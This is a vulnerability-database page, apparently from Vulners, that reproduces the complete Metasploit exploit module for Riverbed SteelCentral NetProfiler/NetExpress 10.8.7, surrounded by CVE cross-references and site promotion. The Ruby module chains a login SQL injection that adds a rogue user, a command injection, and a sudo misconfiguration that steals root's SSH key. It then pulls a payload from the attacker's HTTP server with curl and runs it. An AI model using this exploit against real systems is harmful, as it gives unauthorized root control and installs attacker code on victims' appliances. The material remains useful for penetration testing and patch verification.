Lucene search
+L

Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution

🗓️ 27 Jun 2016 00:00:00Reported by Francesco Oddo <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-34112
15 Jul 202513:07
attackerkb
circl
Circl
CVE-2025-34112
29 May 201815:50
circl
cnnvd
CNNVD
Riverbed SteelCentral NetProfiler 安全漏洞
15 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34112
15 Jul 202513:07
cve
cvelist
Cvelist
CVE-2025-34112 Riverbed SteelCentral NetProfiler / NetExpress 10.8.7 RCE
15 Jul 202513:07
cvelist
euvd
EUVD
EUVD-2025-21430
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34112
15 Jul 202513:15
nvd
openvas
OpenVAS
Riverbed SteelCentral NetProfiler & NetExpress Virtual Editions < 10.9.0 Multiple Vulnerabilities
30 Jun 201600:00
openvas
ptsecurity
Positive Technologies
PT-2025-29554 · Riverbed Technology · Riverbed Steelcentral Netprofiler +1
15 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34112
17 Jul 202513:57
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  require 'digest'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution",
        'Description' => %q{
          This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress
          virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form
          can be exploited to add a malicious user into the application's database. An attacker can then exploit a
          command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure
          configuration of the sudoers file can be abused to escalate privileges to root.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ],
        'References' => [
          [ 'CVE', '2025-34112' ],
          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ]
        ],
        'Platform' => 'linux',
        'Arch' => ARCH_X64,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          [ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', {}]
        ],
        'DefaultOptions' => {
          'SSL' => true
        },
        'Privileged' => false,
        'DisclosureDate' => '2016-06-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']),
        OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
        Opt::RPORT(443)
      ],
      self.class
    )
  end

  def check
    json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";

    # Verifies existence of login SQLi
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data' => json_payload_check
    })

    if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status("Attempting log in to target appliance")
    @sessid = do_login

    print_status("Confirming command injection vulnerability")
    test_cmd_inject
    vprint_status('Ready to execute payload on appliance')

    @elf_sent = false
    # Generate payload
    @pl = generate_payload_exe

    if @pl.nil?
      fail_with(Failure::BadConfig, 'Please select a valid Linux payload')
    end

    # Start the server and use primer to trigger fetching and running of the payload
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    end
  end

  def get_nonce
    # Function to get nonce from login page

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
    })

    if res && res.body && res.body.include?('nonce_')
      html = res.get_html_document
      nonce_field = html.at('input[@name="nonce"]')
      nonce = nonce_field.attributes["value"]
    else
      fail_with(Failure::Unknown, 'Unable to get login nonce.')
    end

    # needed as login nonce is bounded to preauth SESSID cookie
    sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''

    return [nonce, sessid_cookie_preauth]
  end

  def do_login
    uname = datastore['RIVERBED_USER']
    passwd = datastore['RIVERBED_PASSWORD']

    nonce, sessid_cookie_preauth = get_nonce
    post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'cookie' => "SESSID=#{sessid_cookie_preauth}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data' => post_data
    })

    # Exploit login SQLi if credentials are not valid.
    if res && res.body && res.body.include?('<form name="login"')
      print_status("Invalid credentials. Creating malicious user through login SQLi")

      create_user
      nonce, sessid_cookie_preauth = get_nonce
      post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'cookie' => "SESSID=#{sessid_cookie_preauth}",
        'ctype' => 'application/x-www-form-urlencoded',
        'encode_params' => false,
        'data' => post_data
      })
    else
      print_good("Valid login credentials provided. Successfully logged in")
    end

    sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
    print_status("Saving login credentials into Metasploit DB")
    store_valid_credential(user: uname, private: passwd)

    return sessid_cookie
  end

  def create_user
    # Function exploiting login SQLi to create a malicious user
    username = datastore['RIVERBED_USER']
    password = datastore['RIVERBED_PASSWORD']

    usr_payload = generate_sqli_payload(username)
    pwd_hash = Digest::SHA512.hexdigest(password)
    pass_payload = generate_sqli_payload(pwd_hash)
    uid = rand(999)

    json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}";

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data' => json_payload_sqli
    })

    json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}";

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data' => json_payload_checkuser
    })

    if res && res.body && res.body.include?('session_id')
      print_good("User account successfully created, login credentials: '#{username}':'#{password}'")
    else
      fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
    end
  end

  def generate_sqli_payload(input)
    # Function to generate sqli payload for user/pass in expected format
    payload = ''
    input_array = input.strip.split('')
    for index in 0..input_array.length - 1
      payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||'
    end

    # Gets rid of the trailing '||' and newline
    payload = payload[0..-3]

    return payload
  end

  def test_cmd_inject
    post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data' => post_data
    })

    unless res && res.body.include?('uid=')
      fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
    end
  end

  def cmd_inject(cmd)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data' => cmd
    })
  end

  # Deliver payload to appliance and make it run it
  def primer
    # Gets the autogenerated uri
    payload_uri = get_uri

    root_ssh_key_private = rand_text_alpha_lower(8)
    binary_payload = rand_text_alpha_lower(8)

    print_status("Privilege escalate to root and execute payload")

    privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken;  sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'"

    cmd_inject(privesc_exec_cmd)

    register_file_for_cleanup("/tmp/#{root_ssh_key_private}")
    register_file_for_cleanup("/tmp/#{binary_payload}")

    vprint_status('Finished primer hook, raising Timeout::Error manually')
    raise(Timeout::Error)
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called: #{request.inspect}")
    print_status('Sending the payload to the server...')
    @elf_sent = true
    send_response(cli, @pl)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jun 2016 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 410
EPSS0.01997
SSVC
25